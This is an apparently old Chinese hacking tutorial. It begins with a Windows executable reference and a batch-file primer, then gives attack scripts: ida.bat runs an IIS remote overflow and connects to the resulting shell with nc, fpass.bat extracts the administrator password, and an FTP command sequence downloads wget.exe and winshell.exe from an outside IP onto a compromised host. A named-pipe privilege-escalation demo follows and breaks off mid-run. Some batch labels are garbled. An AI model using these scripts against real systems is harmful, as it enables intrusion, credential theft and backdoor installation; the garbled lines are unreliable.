lserver.exe > Specifies the new DNS domain for the default server 指定默认Server新的DNS域

macfile.exe > Used for managing MACFILES 管理MACFILES

magnify.exe > Used to magnify the current screen 放大镜

makecab.exe > MS Cabinet Maker 制作CAB文件

mdm.exe > Machine Debug Manager 机器调试管理

mem.exe > Display current Memory stats 显示内存状态

migpwd.exe > Migrate passwords. 迁移密码

mmc.exe > Microsoft Management Console 控制台

mnmsrvc.exe > Netmeeting Remote Desktop Sharing NetMeeting远程桌面共享

mobsync.exe > Manage Synchronization. 同步目录管理器

mountvol.exe > Creates, deletes, or lists a volume mount point. 创建、删除或列出卷的装入点。

mplay32.exe > MS Media Player 媒体播放器

mpnotify.exe > Multiple Provider Notification application 多提供者通知应用程序

mq1sync.exe >

mqbkup.exe > MS Message Queue Backup and Restore Utility 信息队列备份和恢复工具

mqexchng.exe > MSMQ Exchange Connector Setup 信息队列交换连接设置

mqmig.exe > MSMQ Migration Utility 信息队列迁移工具

mqsvc.exe > ?

mrinfo.exe > Multicast routing using SNMP 使用SNMP多点传送路由

mscdexnt.exe > Installs MSCD (MS CD Extensions) 安装MSCD

msdtc.exe > Dynamic Transaction Controller Console 动态事务处理控制台

msg.exe > Send a message to a user local or remote. 发送消息到本地或远程客户

mshta.exe > HTML Application HOST HTML应用程序主机

msiexec.exe > Starts Windows Installer Program 开始Windows安装程序

mspaint.exe > Microsoft Paint 画板

msswchx.exe >

mstask.exe > Task Schedule Program 任务计划表程序

mstinit.exe > Task scheduler setup 任务计划表安装

narrator.exe > Program will allow you to have a narrator for reading. Microsoft讲述人

nbtstat.exe > Displays protocol stats and current TCP/IP connections using NBT 使用 NBT(TCP/IP 上的 NetBIOS)显示协议统计和当前 TCP/IP 连接。

nddeapir.exe > NDDE API Server side NDDE API服务器端

net.exe > Net Utility 详细用法看/?

net1.exe > Net Utility updated version from MS Net的升级版

netdde.exe > Network DDE will install itself into the background 安装自己到后台

netsh.exe > Creates a shell for network information 用于配置和监控 Windows 2000 命令行脚本接口。

netstat.exe > Displays current connections. 显示协议统计和当前的 TCP/IP 网络连接。

nlsfunc.exe > Loads country-specific information 加载特定国家(地区)的信息。Windows 2000 和 MS-DOS 子系统不使用该命令。接受该命令只是为了与 MS-DOS 文件兼容。

notepad.exe > Opens Windows 2000 Notepad 记事本

nslookup.exe > Displays information for DNS 该诊断工具显示来自域名系统 (DNS) 名称服务器的信息。

ntbackup.exe > Opens the NT Backup Utility 备份和故障修复工具

ntbooks.exe > Starts Windows Help Utility 帮助

ntdsutil.exe > Performs DB maintenance of the ADSI 完成ADSI的DB的维护

ntfrs.exe > NT File Replication Service NT文件复制服务

ntfrsupg.exe >

ntkrnlpa.exe > Kernel patch 核心补丁

ntoskrnl.exe > Core NT Kernel KT的核心

ntsd.exe >

ntvdm.exe > Simulates a 16-bit Windows environment 模拟16位Windows环境

nw16.exe > Netware Redirector NetWare转向器

nwscript.exe > runs netware scripts 运行Netware脚本

odbcad32.exe > ODBC 32-bit Administrator 32位ODBC管理

odbcconf.exe > Configure ODBC driver’s and data source’s from command line 命令行配置ODBC驱动和数据源

os2.exe > An OS/2 Warp Server (os2 /o) OS/2

os2srv.exe > An OS/2 Warp Server OS/2

os2ss.exe > An OS/2 Warp Server OS/2

osk.exe > On Screen Keyboard 屏幕键盘

packager.exe > Windows 2000 Packager Manager 对象包装程序

pathping.exe > Combination of Ping and Tracert 包含Ping和Tracert的程序

pax.exe > is a POSIX program and path names used as arguments must be specified in POSIX format. Use “//C/Users/Default” instead of “C:\USERS\DEFAULT.” 启动便携式存档互换 (Pax) 实用程序

pentnt.exe > Used to check the Pentium for the floating point division error. 检查Pentium的浮点错误

perfmon.exe > Starts Windows Performance Monitor 性能监视器

ping.exe > Packet Internet Groper 验证与远程计算机的连接

posix.exe > Used for backward compatibility with Unix 用于兼容Unix

print.exe > Cmd line used to print files 打印文本文件或显示打印队列的内容。

progman.exe > Program manager 程序管理器

proquota.exe > Profile quota program

psxss.exe > POSIX Subsystem Application Posix子系统应用程序

qappsrv.exe > Displays the available application terminal servers on the network
在网络上显示终端服务器可用的程序

qprocess.exe > Display information about processes local or remote 在本地或远程显示进程的信息(需终端服务)

query.exe > Query TERMSERVER user process and sessions 查询进程和对话

quser.exe > Display information about a user logged on 显示用户登陆的信息(需终端服务)

qwinsta.exe > Display information about Terminal Sessions. 显示终端服务的信息

rasadmin.exe > Start the remote access admin service 启动远程访问服务

rasautou.exe > Creates a RAS connection 建立一个RAS连接

rasdial.exe > Dial a connection 拨号连接

rasphone.exe > Starts a RAS connection 运行RAS连接

rcp.exe > Copies a file from and to a RCP service. 在 Windows 2000 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件

rdpclip.exe > RdpClip allows you to copy and paste files between a terminal session and client console session. 再终端和本地复制和粘贴文件

recover.exe > Recovers readable information from a bad or defective disk 从坏的或有缺陷的磁盘中恢复可读取的信息。

redir.exe > Starts the redirector service 运行重定向服务

regedt32.exe > 32-bit register service 32位注册服务

regini.exe > modify registry permissions from within a script 用脚本修改注册许可

register.exe > Register a program so it can have special execution characteristics. 注册包含特殊运行字符的程序

regsvc.exe >

regsvr32.exe > Registers and unregister’s dll’s. As to how and where it register’s them I dont know. 注册和反注册DLL

regtrace.exe > Options to tune debug options for applications failing to dump trace statements
Trace 设置
regwiz.exe > Registration Wizard 注册向导

remrras.exe >

replace.exe > Replace files 用源目录中的同名文件替换目标目录中的文件。

reset.exe > Reset an active section 重置活动部分

rexec.exe > Runs commands on remote hosts running the REXEC service. 在运行 REXEC 服务的远程计算机上运行命令。rexec 命令在执行指定命令前,验证远程计算机上的用户名,只有安装了 TCP/IP 协议后才可以使用该命令。

risetup.exe > Starts the Remote Installation Service Wizard. 运行远程安装向导服务

route.exe > display or edit the current routing tables. 控制网络路由表

routemon.exe > no longer supported 不再支持了!

router.exe > Router software that runs either on a dedicated DOS or on an OS/2 system. Route软件在 DOS或者是OS/2系统

rsh.exe > Runs commands on remote hosts running the RSH service 在运行 RSH 服务的远程计算机上运行命令

rsm.exe > Mounts and configures remote system media 配置远程系统媒体

rsnotify.exe > Remote storage notification recall 远程存储通知回显

rsvp.exe > Resource reservation protocol 源预约协议

runas.exe > RUN a program as another user 允许用户用其他权限运行指定的工具和程序

rundll32.exe > Launches a 32-bit dll program 启动32位DLL程序

runonce.exe > Causes a program to run during startup 运行程序再开始菜单中

rwinsta.exe > Reset the session subsystem hardware and software to known initial values 重置会话子系统硬件和软件到最初的值

savedump.exe > Does not write to e:\winnt\user.dmp 不写入User.dmp中

scardsvr.exe > Smart Card resource management server 子能卡资源管理服务器

schupgr.exe > It will read the schema update files (.ldf files) and upgrade the schema. (part of ADSI) 读取计划更新文件和更新计划

secedit.exe > Starts Security Editor help 自动安全性配置管理

services.exe > Controls all the services 控制所有服务

sethc.exe > Set High Contrast – changes colours and display mode Logoff to set it back to normal 设置高对比

setreg.exe > Shows the Software Publishing State Key Values 显示软件发布的国家语言

setup.exe > GUI box prompts you to goto control panel to configure system components 安装程序(转到控制面板)

setver.exe > Set Version for Files 设置 MS-DOS 子系统向程序报告的 MS-DOS 版本号

sfc.exe > System File Checker test and check system files for integrity 系统文件检查

sfmprint.exe > Print Services for Macintosh 打印Macintosh服务

sfmpsexe.exe >

sfmsvc.exe >

shadow.exe > Monitor another Terminal Services session. 监控另外一台中端服务器会话

share.exe > Windows 2000 和 MS-DOS 子系统不使用该命令。接受该命令只是为了与 MS-DOS 文件兼容

shmgrate.exe >

shrpubw.exe > Create and Share folders 建立和共享文件夹

sigverif.exe > File Signature Verification 文件签名验证

skeys.exe > Serial Keys utility 序列号制作工具

smlogsvc.exe > Performance Logs and Alerts 性能日志和警报

smss.exe >

sndrec32.exe > starts the Windows Sound Recorder 录音机

sndvol32.exe > Display the current volume information 显示声音控制信息

snmp.exe > Simple Network Management Protocol used for Network Mangement 简单网络管理协议

snmptrap.exe > Utility used with SNMP SNMP工具

sol.exe > Windows Solitaire Game 纸牌

sort.exe > Compares files and Folders 读取输入、排序数据并将结果写到屏幕、文件和其他设备上

SPOOLSV.EXE > Part of the spooler service for printing 打印池服务的一部分

sprestrt.exe >

srvmgr.exe > Starts the Windows Server Manager 服务器管理器

stimon.exe > WDM StillImage- > Monitor

stisvc.exe > WDM StillImage- > Service

subst.exe > Associates a path with a drive letter 将路径与驱动器盘符关联

svchost.exe > Svchost.exe is a generic host process name for services that are run from dynamic-link libraries (DLLs). DLL得主进程

syncapp.exe > Creates Windows Briefcase. 创建Windows文件包

sysedit.exe > Opens Editor for 4 system files 系统配置编辑器

syskey.exe > Encrypt and secure system database NT账号数据库按群工具

sysocmgr.exe > Windows 2000 Setup 2000安装程序

systray.exe > Starts the systray in the lower right corner. 在低权限运行systray

taskman.exe > Task Manager 任务管理器

taskmgr.exe > Starts the Windows 2000 Task Manager 任务管理器

tcmsetup.exe > telephony client wizard 电话服务客户安装

tcpsvcs.exe > TCP Services TCP服务

.exe > Telnet Utility used to connect to Telnet Server

termsrv.exe > Terminal Server 终端服务

tftp.exe > Trivial FTP 将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行 TFTP 服务的远程计算机传输文件

tftpd.exe > Trivial FTP Daemon

themes.exe > Change Windows Themes 桌面主题

tlntadmn.exe > Telnet Server Administrator Telnet服务管理

tlntsess.exe > Display the current Telnet Sessions 显示目前的Telnet会话

tlntsvr.exe > Start the Telnet Server 开始Telnet服务

tracert.exe > Trace a route to display paths 该诊断实用程序将包含不同生存时间 (TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标,以决定到达目标采用的路由

tsadmin.exe > Terminal Server Administrator 终端服务管理器

tscon.exe > Attaches a user session to a terminal session. 粘贴用户会话到终端对话

tsdiscon.exe > Disconnect a user from a terminal session 断开终端服务的用户

tskill.exe > Kill a Terminal server process 杀掉终端服务

tsprof.exe > Used with Terminal Server to query results. 用终端服务得出查询结果

tsshutdn.exe > Shutdown the system 关闭系统

unlodctr.exe > Part of performance monitoring 性能监视器的一部分

upg351db.exe > Upgrade a jet database 升级Jet数据库

ups.exe > UPS service UPS服务

user.exe > Core Windows Service Windows核心服务

userinit.exe > Part of the winlogon process Winlogon进程的一部分

usrmgr.exe > Start the windows user manager for domains 域用户管理器

utilman.exe > This tool enables an administrator to designate which computers automatically open accessibility tools when Windows 2000 starts. 指定2000启动时自动打开那台机器

verifier.exe > Driver Verifier Manager Driver Verifier Manager

vwipxspx.exe > Loads IPX/SPX VDM 调用IPX/SPX VDM

w32tm.exe > Windows Time Server 时间服务器

wextract.exe > Used to extract windows files 解压缩Windows文件

winchat.exe > Opens Windows Chat 打开Windows聊天

winhlp32.exe > Starts the Windows Help System 运行帮助系统

winlogon.exe > Used as part of the logon process. Logon进程的一部分

winmine.exe > windows Game 挖地雷

winmsd.exe > Windows Diagnostic utility 系统信息

wins.exe > Wins Service Wins服务

winspool.exe > Print Routing 打印路由

winver.exe > Displays the current version of Windows 显示Windows版本

wizmgr.exe > Starts Windows Administration Wizards Windows管理向导

wjview.exe > Command line loader for Java 命令行调用Java

wowdeb.exe > . For starters, the 32-bit APIs require that the WOWDEB.EXE task runs in the target debugee’s VM 启动时,32位API需要

wowexec.exe > For running Windows over Windows Applications 在Windows应用程序上运行Windows

wpnpinst.exe > ?

write.exe > Starts MS Write Program 写字板

wscript.exe > Windows Scripting Utility 脚本工具

wupdmgr.exe > Starts the Windows update Wizard (Internet) 运行Windows升级向导

xcopy.exe > Used to copy directories 复制文件和目录,包括子目录

批处理BAT加强说明

文章结构
1. 所有内置命令的帮助信息
2. 环境变量的概念
3. 内置的特殊符号(实际使用中间注意避开)
4. 简单批处理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat

######################################################################
1. 所有内置命令的帮助信息
######################################################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面将所有上面的帮助输出到一个文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________

######################################################################
2. 环境变量的概念
######################################################################
_____________________________________________________________________________
C:\Program Files>set
ALLUSERSPROFILE=C:\Documents and Settings\All Users
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=FIRST
ComSpec=C:\WINNT\system32\cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:\Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\WINNT\TEMP
TMP=C:\WINNT\TEMP
USERPROFILE=C:\Documents and Settings\Default User
windir=C:\WINNT
_____________________________________________________________________________

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.
语法: copy mychenxu.exe %windir%\system32\.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号(“”) 来表示比如对porgram file文件夹操作
C:\>dir p*
C:\ 的目录
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47 <DIR> Program Files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节

C:\>cd pro*
C:\Program Files>

C:\>
C:\>cd “Program Files”
C:\Program Files>

######################################################################
3. 内置的特殊符号(实际使用中间注意避开)
######################################################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux \ / │ ││ && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, │, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号”"了)
To create the variable value new&name, type:
set varname=new^&name

To create the variable value “new&name”, type:
set varname=”new&name”

The ampersand (&), pipe (│), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find “Pacific Rim” < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing

> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
│ 管道操作
& Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
││ Usage:第一条命令 ││ 第二条命令 [││ 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF “%1″==”" goto END
IF “%1″==”net” goto NET
IF NOT “%2″==”net” goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F “eol=; tokens=2,3* delims=, ” %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c – 指一个行注释字符的结尾(就一个)
skip=n – 指在文件开始时忽略的行数。
delims=xxx – 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

######################################################################
4. 简单批处理文件概念
######################################################################

echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt

netstat -n │ find “3389″
这个将要列出所有连接3389的用户的ip.

________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\idahack.exe echo “ERROR: dont find idahack.exe”
@if NOT exist %windir%\system32\nc.exe echo “ERROR: dont find nc.exe”

@if “%1″ ==”" goto USAGE
@if NOT “%2″ ==”" goto SP2

tart
@echo Now start …
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%\_tmp
@echo “prog exit code [%errorlevel%] idahack.exe”
@type %temp%\_tmp
@find “good luck” %temp%\_tmp
@echo “prog exit code [%errorlevel%] find [goog luck]”
@if NOT errorlevel 1 nc.exe %1 99
@goto END

P2
@idahack.exe %1 80 %2 99 %temp%\_tmp
@type %temp%\_tmp
@find “good luck” %temp%\_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)

:END
_____________________ida.bat__END_________________________________

下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息.

___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%\system32\findpass.exe echo “ERROR: dont find findpass.exe”
@if NOT exist %windir%\system32\pulist.exe echo “ERROR: dont find pulist.exe”

@echo start….
@echo ____________________________________
@if “%1″==”" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
@echo “prog exit code [%errorlevel%] findpass.exe”
@type %temp%\_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%\_findpass.txt
@goto END

:USAGE
@pulist.exe >%temp%\_pass.txt
@findstr.exe /i “WINLOGON explorer internat” %temp%\_pass.txt
@echo “Example: fpass.bat %1 %2 %3 %4 !!!”
@echo “Usage: findpass.exe DomainName UserName PID-of-WinLogon”

:END
@echo ” fpass.bat %COMPUTERNAME% %USERNAME% administrator ”
@echo ” fpass.bat end [%errorlevel%] !”
_________________fpass.bat___END___________________________________________________________

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w

当使用 echo 命令时,要显示管道 (|) 或重定向字符(< 或 >请在管道 (|) 或重定向字符(例如,^>、^< 或 ^|)的前面使用脱字符。要使用一个脱字符本身 (^),请在一行中使用两个 (^^)。

在W2K中提升权限的几个攻击实例之成败心得
讲到Exploit都会涉及到提升权限的问题,所谓提升权限就是利用系统的漏洞来获得更高的Privilege。比如说,你用一般用户的账号登录Windows NT/Windows 2000后,你就只能作有限的操作,却不能加减用户,不能往系统目录中存写文件等等;但等到你通过系统的漏洞获得了Administrator或者Local System的权限以后,你也就可以作这些事了。

我研究Exploit的时间并不是很长,但看到有关在Windows操作系统中提升权限的方法与实例还真不少。刚才到Google上用关键词“microsoft”、“Windows”、“privilege”、“elevation”去搜索一下,居然返回3000多个结果。要知道,这还只是公布出来的部分,江湖中还有很多必杀绝技是不轻易示人的。

要想在这里详细地介绍所有Windows中提升权限的方法,我的功力是远远不够的—-估计相当于丐帮一袋弟子的水平而已。所以呢,这一章所针对的读者应该是丐帮的入门弟子,如果你们哪位功力要用两个以上的麻袋来装的话,请尽管跳过这一章。

我在选择这一章的Exploit例子时,有意选择针对W2K操作系统、附带有源程序的例子,这样方便大家在自己的机器上试验。这些Exploit并不是每个都成功,但是我感觉它们有不少可借鉴之处,可以通过学习它们来了解黑客的思路,从而提高自己的反入侵能力。

记住我的机器dallas是W2K Service Pack 1,如果你们的计算机运行不同版本的W2K Service Pack,这些Exploit可能需要改动。

顺便说一句,实际上在第一章里面我们已经提到一种在Unix或者Linux中提升权限的方法,就是去Exploit超级用户Root所有的、具有SUID位的执行程序。在Windows操作系统中,没有SUID这种说法,但是有一种RunAs服务(Service)进程可以提供类似于SUID的功能,而且是有可能被Exploit的。

利用Windows 2000中的Named Pipe来提升权限

Windows 2000中的RunAs服务进程可以让用户甲以用户乙的权限运行程序,这类似于Unix和Linux系统中SUID位功能。W2K中的一个API:CreateProcessWithLogonW就利用了RunAs服务进程,用户甲调用这个CreateProcessWithLogonW时把用户乙的账号(Account)、域(Domain)、密码(Password)提交给Windows操作系统作Authentication,如果Authentication成功,那么就接着运行指定的程序,而且这个程序运行时具有用户乙的权限。

CreateProcessWithLogonW API的定义如下:
BOOL CreateProcessWithLogonW(
LPCWSTR , // 用户乙的账号(Account)
LPCWSTR , //用户乙的域(Domain)
LPCWSTR , // 用户乙的密码(Password)
DWORD , // logon option
LPCWSTR , // executable module name
LPWSTR , // command-line string
DWORD , // creation flags
LPVOID , // new environment block
LPCWSTR , // current directory name
LPSTARTUPINFOW , // startup information
LPPROCESS_INFORMATION // process information
);

那么CreateProcessWithLogonW是如何把用户乙的账号信息传给RunAs服务进程的呢?在Windows操作系统中有很多Interprocess Communication的方法,大概最常见的就是 Pipe了。我们在上一章对IIS的Exploit中也用到了Pipe,不过那是没有名字的pipe (Anonymous Pipe);在这里CreateProcessWithLogonW是用有名字的Pipe(named Pipe)与RunAs联络的,这个named Pipe就是“\\.\pipe\secondarylogon”。

到目前为止,一切都正常。大家要问:RunAs的漏洞在哪里呢?它的漏洞是如何被Exploit的呢?根据RADIX Team的解释:当用户甲用CreateProcessWithLogonW创建具有用户乙权限的进程时,它是不会核实“\\.\pipe\secondarylogon”的Server端究竟是连通到RunAs进程还是连通到其它的进程。如果RunAs服务进程在某一时刻停止运行的话,黑客进程可以趁机创建一个也叫“\\.\pipe\secondarylogon”的named Pipe,然后黑客进程就假装成RunAs服务进程在Pipe的Server端等着接受信息。接着我们无辜而无知的用户甲调用CreateProcessWithLogonW了,它也不先调查一下Named Pipe另一端的进程身份,就把用户乙的账号信息由伪造的named Pipe传了过去,传呀传,传呀传,一直传到黑客程序的耳朵里。

RADIX Team还编写了一个Exploit程序radix1112200101,这个程序把通过Named Pipe “\\.\pipe\secondarylogon”传来的用户乙账号信息(包括用户名、域名、密码)统统显示出来。限于篇幅,我就不转载这个程序了,大家可以到他们的网站去看。不过这里我准备演示一下在dallas上如何使用radix1112200101来获得dallas本地域(Local Domain)的超级用户Administrstor的密码。被Exploit的程序(就是因为使用CreateProcessWithLogonW而泄密的家伙)叫radixvictim.cpp,它以超级用户Administrator的权限启动一个NotePad程序。

<==========================radixvictim.cpp===============================>

// radixvictim.cpp : Defines the entry point for the application.
//

#define _WIN32_WINNT 0×0500
#define UNICODE

#include
#include
#include
#include

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow = SW_SHOW)
{
// TODO: Place code here.

LPCWSTR lpUsername = L”Administrator”; // user’s name
LPCWSTR lpDomain = L”dallas”; // user’s domain
LPCWSTR lpPassword = L”moda”; // user’s password
DWORD dwLogonFlags = LOGON_NETCREDENTIALS_ONLY; // logon option
LPCWSTR lpApplicationName = L”D:\\Winnt\\NotePad.exe”;
LPWSTR lpCommandLine = L”NotePad.exe”; // command-line string
DWORD dwCreationFlags = CREATE_NEW_CONSOLE; // creation flags
LPVOID lpEnvironment = NULL; // new environment block
LPCWSTR lpCurrentDirectory = NULL; // current directory name
STARTUPINFO StartupInfo; // startup information
PROCESS_INFORMATION ProcessInfo; // process information

BOOL ret;

ZeroMemory(&StartupInfo, sizeof(StartupInfo));
StartupInfo.cb = sizeof(StartupInfo);
ZeroMemory(&ProcessInfo, sizeof(ProcessInfo));

ret = CreateProcessWithLogonW(
lpUsername,
lpDomain,
lpPassword,
dwLogonFlags,
lpApplicationName,
lpCommandLine,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
&StartupInfo,
&ProcessInfo
);

if (! ret )
ExitProcess (GetLastError()) ;

return 0;
}

<================================================================>

在伪造Named Pipe之前,必须关闭RunAs的“\\.\pipe\secondarylogon”,要不然运行radix1112200101会得到Permission Denied之类的错误。

我先以超级用户Administrator登录dallas,然后从Administrative Tools->Services中终止RunAs服务进程 (一般的情况下,只有超级用户Administrator才能终止RunAs服务进程)。这样RunAs拥有的“\\.\pipe\secondarylogon”就关闭(Close)了。

再以我的一般用户账号moda登录dallas,接着运行radix1112200101伪造一个新的Named Pipe “\\.\pipe\secondarylogon”。

D:\MyJob\securitylab\radix\Debug>radix1112200101
Created pipe and waiting for clients…

怎么确定“\\.\pipe\secondarylogon”被成功地创建了呢?我们可以使用pipelist程序,这是我从sysinternals网站下载的宝贝之一,它能列出系统中所有的Named Pipe:

D:\MyJob\tool\pipelist\RELEASE>pipelist

PipeList v1.01
by Mark Russinovich
http://www.sysinternals.com

Pipe Name Instances Max Instances
——— ——— ————-
InitShutdown 2 -1
lsass 5 -1
ntsvcs 50 -1
scerpc 2 -1
net\NtControlPipe1 1 1
DhcpClient 1 -1
net\NtControlPipe2 1 1
Winsock2\CatalogChangeListener-194-0 1 1
net\NtControlPipe3 1 1
spoolss 2 -1
。。。。。。。
。。。。。。。
net\NtControlPipe21 1 1
tapsrv 2 -1
ROUTER 2 -1
WMIEP_2ac 2 -1
WMIEP_154 2 -1
SecondaryLogon 1 10

D:\MyJob\tool\pipelist\RELEASE>

你们看到,最后一个Named Pipe就是radix1112200101刚刚伪造Secondarylogon。

现在运行radixvictim。对於这个程序,用户甲就是无辜而无知的“moda”,而用户乙就是超级用户Administrator。请注意Exploit程序radix1112200101的输出:

D:\MyJob\securitylab\radix\Debug>radix1112200101
Created pipe and waiting for clients…
Read 4 bytes. (ASCII Dump)
>
? Read 318 bytes. (ASCII Dump)

? ? 8
X j □ □
? ? ? – + –
? A d m i n
i s t r a t o r
? d a l l a
s ? m o d a
* D
: \ W i n n t \
N o t e P a d .
e x e ? N o
t e P a d . e x
e l
D H l

W i n S
t a 0 \ D e f a
u l t _
D:\MyJob\securitylab\radix\Debug>

你们可以看到,超级用户Administrator的信息(包括密码)全部都被radix1112200101接收到了。得到Administrator的账号信息后,再提升权限就易如反掌了!

这个Exploit的关键在于:第一,Named Pipe的名字是广为人知的,黑客的Named Pipe也可以贴上同样的名字“\\.\pipe\secondarylogon”去冒充;第二,CreateProcessWithLogonW在使用Named Pipe之前并没有核实Named Pipe的Server端进程,它不管Server端是连通到RunAs进程还是到其它的进程。类似的这样问题是在Windows操作系统中是广泛存在的,再看下面的例子:

我是在网站http://www.dogmile.com上看到的这个例子的,作者为maceo。根据maceo的研究,Windows 2000操作系统广泛使用了Named Pipe来控制(或者说管理)服务进程,包括象Clipbook服务进程呀、Telnetd服务进程呀等等,而且这些Named Pipe的名字是可以猜得到的。如果黑客抢先用猜到的名字创建Named Pipe的话,服务进程启动时会直接连接到黑客的Named Pipe上,於是黑客程序就可以通过ImpersonateNamedPipeClient()取得服务进程的权限(缺省设置为Local System权限)。那么,黑客是怎样猜到这些Named Pipe的名字的呢?很简单,他是从Registry中查询到的,在下面的地址:

HKEY_LOCAL_MACHINE\
SYSTEM\
CurrentControlSet\
Control\
ServiceCurrent

如果ServiceCurrent的双字值(DWORD Value)是X,那么服务进程所用到的Named Pipe的名字就是“\\.\pipe\net\NtControlPipe(X+1)”,这也就是黑客要伪造的Named Pipe的名字。

maceo给出了几个Exploit程序,我下面就在Dallas上演示其中的一个—-PipeUp。这个Exploit程序首先从Registry中取得下一个服务进程要使用的Named Pipe名字,然后抢先创建这个Named Pipe;紧接着它启动服务进程ClipBook,由于ClipBook启动后会主动连接这个伪造的Named Pipe,於是PipeUp就通过函数ImpersonateNamedPipeClient而获取了Local System的账号权限(因为ClipBook一般以Local System的账号运行)。这样进程PipeUp就有足够的权限把Local System在Security Account Manager(SAM)中的信息读出来。

你们可以从网站http://www.dogmile.com下载这个Exploit的源程序,这里限于篇幅我就不转载这个程序了(画外音:其实是限于版权)。

先以Administrator的账号登录dallas,把ClipBook服务进程停止。

再以一般用户moda登录,运行Exploit程序PipeUp,下面是PipeUp运行及Exploit的结果:

D:\MyJob\securitylab\PipeUp\Debug>pipeup
The ClipBook service is not started.

